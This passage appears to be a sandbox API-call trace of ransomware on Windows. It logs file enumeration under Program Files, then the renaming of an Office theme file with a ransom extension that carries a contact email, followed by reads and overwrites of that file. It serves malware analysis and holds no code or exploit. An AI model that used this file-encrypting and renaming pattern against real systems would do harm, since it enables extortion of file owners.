(lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.431] Sleep (dwMilliseconds=0x1) [0254.458] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\DIN1451CLSHF.TTF", len=0x6c | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\DIN1451CLSHF.TTF") returned 1 [0254.458] GetProcessHeap () returned 0x630000 [0254.458] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df0) returned 0x6fe3bb0 [0254.458] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\DIN1451CLSHF.TTF" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\themes\\fonts\\din1451clshf.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.162] Sleep (dwMilliseconds=0x1) [0261.074] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png", len=0x93 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png") returned 1 [0261.074] GetProcessHeap () returned 0x630000 [0261.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0261.074] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.075] Sleep (dwMilliseconds=0x1) [0261.124] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF", len=0x6f | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF") returned 1 [0261.124] GetProcessHeap () returned 0x630000 [0261.124] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c90) returned 0x6fe3bb0 [0261.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0261.216] CloseHandle (hObject=0x4e0) returned 1 [0261.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0261.334] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0261.378] GetProcessHeap () returned 0x630000 [0261.378] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x6fb7a8 [0261.378] GetProcessHeap () returned 0x630000 [0261.378] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x6f6780 [0261.378] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.379] ReadFile (in: hFile=0x5ec, lpBuffer=0x6fb7a8, nNumberOfBytesToRead=0xf60, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7a8*, lpNumberOfBytesRead=0x497ff0c*=0xf60, lpOverlapped=0x0) returned 1 [0261.398] GetProcessHeap () returned 0x630000 [0261.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0261.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f6780*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6780*, lpNumberOfBytesWritten=0x497ff0c*=0xf60, lpOverlapped=0x0) returned 1 [0261.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f76df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76df*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.398] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.398] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.399] CloseHandle (hObject=0x5ec) returned 1 [0261.399] GetProcessHeap () returned 0x630000 [0261.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6780 | out: hHeap=0x630000) returned 1 [0261.399] GetProcessHeap () returned 0x630000 [0261.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7a8 | out: hHeap=0x630000) returned 1 [0261.399] GetProcessHeap () returned 0x630000 [0261.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0261.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61c06557, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf99, dwReserved0=0x497fd20, dwReserved1=0x6fb7a8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5280 [0261.399] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0261.399] Sleep (dwMilliseconds=0x1) [0262.936] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-100.png", len=0x94 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-100.png") returned 1 [0262.936] GetProcessHeap () returned 0x630000 [0262.936] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db4) returned 0x6fe3bb0 [0262.938] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemailsmalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.940] Sleep (dwMilliseconds=0x1) [0262.949] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-100.png", len=0x95 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-100.png") returned 1 [0262.950] GetProcessHeap () returned 0x630000 [0262.950] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dac) returned 0x6fe3bb0 [0262.950] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemail2smalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.951] Sleep (dwMilliseconds=0x1) [0262.968] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-100.png", len=0x93 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-100.png") returned 1 [0262.968] GetProcessHeap () returned 0x630000 [0262.968] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da0) returned 0x6fe3bb0 [0262.968] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1MedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemail1medtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.970] Sleep (dwMilliseconds=0x1) [0262.981] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-100.png", len=0x8b | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-100.png") returned 1 [0262.981] GetProcessHeap () returned 0x630000 [0262.981] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d9c) returned 0x6fe3bb0 [0262.981] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basesmalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.983] Sleep (dwMilliseconds=0x1) [0262.998] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-100.png", len=0x85 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-100.png") returned 1 [0262.998] GetProcessHeap () returned 0x630000 [0262.998] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d90) returned 0x6fe3bb0 [0262.998] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basemedtile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.004] Sleep (dwMilliseconds=0x1) [0263.014] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-100.png", len=0x8c | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-100.png") returned 1 [0263.014] GetProcessHeap () returned 0x630000 [0263.014] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d88) returned 0x6fe3bb0 [0263.014] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\base2smalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.016] Sleep (dwMilliseconds=0x1) [0263.028] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-100.png", len=0x8a | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-100.png") returned 1 [0263.028] GetProcessHeap () returned 0x630000 [0263.028] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d84) returned 0x6fe3bb0 [0263.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\base2medtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.034] Sleep (dwMilliseconds=0x1) [0263.043] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png", len=0x8a | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png") returned 1 [0263.043] GetProcessHeap () returned 0x630000 [0263.043] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d7c) returned 0x6fe3bb0 [0263.043] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\base1medtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.047] Sleep (dwMilliseconds=0x1) [0263.060] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\82.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\82.png") returned 1 [0263.060] GetProcessHeap () returned 0x630000 [0263.060] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d70) returned 0x6fe3bb0 [0263.060] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\82.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\82.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.064] Sleep (dwMilliseconds=0x1) [0263.075] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\8.png", len=0x78 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\8.png") returned 1 [0263.075] GetProcessHeap () returned 0x630000 [0263.075] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d6c) returned 0x6fe3bb0 [0263.075] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\8.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.077] Sleep (dwMilliseconds=0x1) [0263.091] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\66.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\66.png") returned 1 [0263.091] GetProcessHeap () returned 0x630000 [0263.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d60) returned 0x6fe3bb0 [0263.092] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\66.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\66.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.093] Sleep (dwMilliseconds=0x1) [0263.106] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\63.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\63.png") returned 1 [0263.106] GetProcessHeap () returned 0x630000 [0263.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d5c) returned 0x6fe3bb0 [0263.106] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\63.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\63.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.109] Sleep (dwMilliseconds=0x1) [0263.121] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\55.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\55.png") returned 1 [0263.121] GetProcessHeap () returned 0x630000 [0263.121] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d54) returned 0x6fe3bb0 [0263.121] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\55.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\55.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.124] Sleep (dwMilliseconds=0x1) [0263.139] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\30.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\30.png") returned 1 [0263.139] GetProcessHeap () returned 0x630000 [0263.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0263.139] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\30.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.141] Sleep (dwMilliseconds=0x1) [0263.153] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program 